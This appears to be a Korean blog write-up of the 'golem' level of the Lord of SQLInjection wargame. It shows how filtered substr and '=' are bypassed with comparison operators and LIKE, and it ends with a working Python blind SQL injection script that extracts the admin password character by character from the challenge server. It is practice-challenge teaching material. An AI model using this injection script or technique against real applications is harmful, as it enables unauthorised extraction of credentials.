본문 바로가기

Web Hacking/Lord of SQLInjection

[Lord of SQLInjection] los 11번 golem write up

 

문제는 위와 같다. blind sqli 같아 보이지만 substr이 필터링 되고 있고 = 부등호 역시 필터링 되고 있다. 첫 번째 조건에서 id가 admin일 때 쿼리의 참 거짓을 확인할 수 있다. 이점을 이용하자.

 

 

 

admin's pw length


길이는 >, < 관계 연산자를 이용해 추측할 수 있다. 먼저 id가 admin이라는 앞 조건을 걸어준 뒤 비교한다.

 

 

위와 같이 legnth(pw) > 7일때는 참을 반환하고 있다. 8을 넣어보자

 

 

8을 넣으니 거짓이 됐고 따라서 admin의 길이가 8자리임을 추측할 수 있다.

 

 

exploit


import requests
import string


ch = string.digits + string.ascii_letters + string.punctuation

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
mycookie = {"PHPSESSID": "8qigjudq943g0gqna35do5eg1d"}

param = {
    "pw": ""
}

query = "a' || id like 'admi%' && pw like '{}{}%'#"
password = ''
for i in range(1, 9):
    for c in ch:
        param["pw"]= query.format(password, c)
        result = requests.get(url, params=param, cookies=mycookie)
        if "Hello admin" in result.text:
            password += c
            print(password)
            break

 

부등호가 필터링 되고 있으므로 like를 이용해서 비교했다. 한 자씩 비교하기 위해 password를 왼쪽에 추가 시키면서 하나씩 비교를 늘려갔다.

 

 

 

clear